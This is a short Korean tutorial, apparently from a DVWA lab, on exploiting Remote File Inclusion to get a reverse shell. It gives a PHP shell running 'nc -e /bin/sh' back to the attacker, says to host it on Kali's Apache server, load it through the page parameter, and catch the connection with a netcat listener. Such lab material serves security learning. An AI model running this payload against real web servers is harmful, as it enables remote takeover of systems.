RFI취약점을 이용한 공격은 공격자가 악성 스크립트를 서비스 서버에 전달하여 해당 페이지를 통하여 전달한 악성코드가 실행되도록 하는 것
LFI 취약점과 비슷한 취약점
해당 서버가 allow your URL 이라는 특정 기능을 허용하도록 설정되어 있다면 URL을 이용하여 모든 컴퓨터의 모든 파일을 접근할 수 있습니다.
말 그대로 PHP 파일을 대상 컴퓨터에 주입할 수 있습니다.
심지어 시스템 명령을 수행하고 대상에 대한 액세스 권한을 얻거나 대상 서버에 대한 모든 권한을 얻을 수 있습니다.
LFI에서 DVWA의 File Inclusion 탭에서 URL에 page 파라미터가 존재합니다.
LFI와의 유일한 차이점은 로컬 파일을 변환하는 기능을 활성화 해야한다는 것입니다.
이제 PHP 쉘을 작성해봅니다.
<?php
passthru("nc -e /bin/sh [대상IP] [PORT_NUMBER]");
?>
현재 칼리리눅스에 작성한 PHP 쉘을 /var/www/html 경로에 저장한뒤 apache2 서버를 시작합니다.
그리고 웹사이트에서 파일명을 넣고 누르면 브라우저에서 파일 내용을 확인할 수 있습니다.
위에서 작성한 php코드는 텍스트파일로 저장했습니다.
이제 page 파라미터의 값으로 주소창에서 작성한 텍스트 파일 경로를 넣어줍니다.
이후 칼리리눅스 터미널 한 곳에서는 netcat을 이용하기 위해서
nc -lvnp 8080
으로 8080 포트에서 연결을 기다리고 있고 앞선 URL을 누르게 된다면
리버스 쉘 연결이 정상적으로 작동하는 것을 확인할 수 있습니다.